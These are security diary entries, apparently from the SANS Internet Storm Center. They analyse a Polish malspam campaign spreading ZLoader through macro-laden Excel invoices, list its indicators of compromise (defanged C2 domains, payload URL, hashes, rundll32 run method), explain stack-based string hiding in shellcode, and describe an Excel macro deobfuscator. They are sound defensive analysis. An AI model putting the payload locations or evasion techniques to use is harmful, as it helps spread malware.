Published: 2020-06-04

Polish malspam pushes ZLoader malware

Introduction

Today's diary reviews Polish malicious spam (malspam) from Tuesday 2020-06-02 pushing ZLoader malware.  Also knowna s Terdot or DELoader, ZLoader is the latest variant from this family of malware that's been active for years.


Shown above:  Flow chart for this infection chain.

I was tipped off to this activity by the following posts on Twitter:

The malspam

Unfortunately, I was not able to get a copy of the emails to show what they look like.  However, the subject line I found was:

  • Subject: e-faktura  06.2020

The attachments

The attachments from this malspam have a template that uses Polish and English language encouraging recipients to enable macros.


Shown above:  Screenshot of an attachment from this malspam.

Infection traffic

Infection traffic caused by this example was all HTTPS.  I used the Any.Run sandbox with MITM for analysis on the spreadsheet to get a decryption key for the HTTPS traffic, and I was able to view the URLs and responses behind the encryption.


Shown above:  HTTPS traffic from the infection filtered in Wireshark with a decryption key.


Shown above:  HTTPS request and response for the ZLoader DLL.


Shown above:  HTTPS request and response for ZLoader command and control (C2) traffic.

Forensics on an infected Windows host

When enabling macros on the malicious Excel spreadsheet, the victim host retrieved the ZLoader DLL as shown in the previous section, saved the DLL to the victim's Documents folder, and ran it using rundll32.exe.


Shown above:  Infected host running the ZLoader DLL after enabling macros.

Shortly after the DLL is run, it's moved to a newly-created folder under the infected user's AppData\Roaming directory, where it's made persistent through a Windows registry update.  Several other decoy folders are created under the AppData\Roaming folder during the infection.  If the infection runs long enough, some decoy files are placed in these decoy folders.


Shown above:  The Windows registry update to keep ZLoader persistent.


Shown above:  ZLoader and decoy folders under the infected user's AppData\Roaming directory.

Indicators of Compromise (IoCs)

Date and subject of the emails:

  • Date: Tuesday, 2020-06-02
  • Subject: e-faktura  06.2020

Infection traffic:

  • 84.38.183[.]227 port 443 (HTTPS) - tlanddissipate[.]at - GET /3/rbs.dll
  • 84.38.183[.]227 port 443 (HTTPS) - militanttra[.]at - POST /owg.php

Certificate issuer data for HTTPS traffic on 84.38.183[.]227:

  • id-at-countryName=AU
  • id-at-stateOrProvinceName=Some State
  • id-at-localityName=City
  • id-at-organizationName=Some Country

Associated malware:

SHA256 hash: c0848753a51472209624f631955a9ad9ff39d5b9fc9686c6f0da0530239916e8

  • File size: 138,240 bytes
  • File name: faktura_296.xls
  • File description: Excel spreadsheet with macro for Zloader

SHA256 hash: 8e0238b207985132e60e6f5bc764a6756bce554f9c27b922f1d7e40950a3bbdc

  • File size: 662,528 bytes
  • File location: hxxps://tlanddissipate[.]at/3/rbs.dll
  • File location: C:\Users\[username]\Documents\lLlwqJs.dll
  • File location: C:\Users\[username]\AppData\Roaming\Ivrawa\rogyx.dll
  • Run method: rundll32.exe [filename],DllRegisterServer
  • File note: This DLL is different each time it's retreived from tlanddissipate[.]at

SHA256 hash: 26625bd8081701ab5a248b4f6e726cd5ef07b43c817e5499b766f89980532952
SHA256 hash: 79c2eadd88f3fb91479d982e6b36d5dc7c2d465ff9580a434241f7b353c33289
SHA256 hash: ad658b2da165f31ac7649cf909c5b3330f2e3efde15f0196edc0f90f462965ea
SHA256 hash: f9f231d7b4e601b8703218d6f72fb167472060ce3e42a351743c613e6447c3cc

  • File size: 662,528 bytes
  • File location: hxxps://tlanddissipate[.]at/3/rbs.dll
  • File description: More examples Zloader DLLs retrieved from tlanddissipate[.]at
  • Run method: rundll32.exe [filename],DllRegisterServer

Final words

As always, these types of infections target out-of-date systems.  They're not very effective against fully-patched and up-to-date computers running the latest version of Microsoft Windows.  The default virus & threat protection settings should stop these samples of ZLoader from infecting a Windows 10 host.  Real-time protection and Tamper Protection are designed to prevent such activity.

However, malware authors constantly adjust their malware in an attempt to escape detection.  With the low cost of distribution through email, and with poor security practices among potential victims, campaigns pushing ZLoader and other malware will remain cost-effective.  I expect we will continue to see ZLoader in the coming weeks and months.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

3 Comments

Published: 2020-06-01

Stackstrings, type 2

Update 1: Added disassembler output.

When I teach FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques, one of the things we talk about is stackstrings. This is a technique that is used to 'hide' strings from the malware analyst (well, from normal use of the Linux strings command) by placing a string onto the stack 1 character (byte) at a time, usually by allocating a chunk of memory and then using MOV instructions to place the string into the allocated chunk of memory. I'll call this Type 1 Stackstrings, since this is the standard stackstring most folks think of when discussing them. We also mention a couple of tools that can be used to find these. However, in my examination of shellcode, I've discovered what I'm calling Type 2 Stackstrings that these tools don't usually find, though when looking at the ASCII strings they are sort of visible. I'm sure other malware analysts have seen this, but I've never seen it explicitly documented, so I figured I'd take a little time and explain what I'm seeing (and ask if anyone has tools that pull these kind of strings, I've just opened an issue/feature request for FLOSS on Github to add this). These type 2 stackstrings are pushed onto the stack 4 bytes at a time using the actual PUSH instruction rather than MOVs. I don't usually see this type of stackstring in ordinary malware, I most often see it in shellcode, though I understand that it also gets used by Metasploit. It turns out that in x86 assembly one of the opcodes for the PUSH instruction is opcode 0x68 which when converted to ASCII is the lowercase h character, so, you'll see h<4 ASCII chars> followed by another h<4 ASCII chars>, etc. to push the string onto the stack 4 bytes at a time. That is probably a bit more efficient than the allocate space then move 1 character at a time.

As I said above, if you just look at ASCII strings you can sort of see these stackstrings as noted in the 2 samples below

You can see it in the raw data

But, if I throw this is a disassembler, those strings still aren't obvious.

You can see the pieces since they get pushed in (sort of) reverse order. In the first example you can see the string wininet being pushed, in the second there are a bunch of them (ExitProc, URLDownloadToFile, urlmon.dll, and LoadLibraryA). Hopefully, my "feature request" in FLOSS will get implemented soon, but does anyone else have tools that pull these type 2 stackstrings? Any other thoughts? I welcome your comments either here, or via our contact page, or email.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

0 Comments

Published: 2020-06-01

XLMMacroDeobfuscator: An Update

XLMMacroDeobfuscator is an open-source tool to deobfuscate Excel 4 macros. I wrote diary entries about it here and here.

In my first diary entry, I remark that I also had to install a missing Python module. This is no longer the case with the latest versions, I just install it with a single pip command.

The author also commented on my diary entry, suggesting the use of a couple of options to yield a cleaner output ready for grepping.

Like this:

Indeed, this provides cleaner output when grepping for http URLs, for example:

And this output can also be used to extract the relevant macros, with inverted greps for RUN, GOTO, ..., like this:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments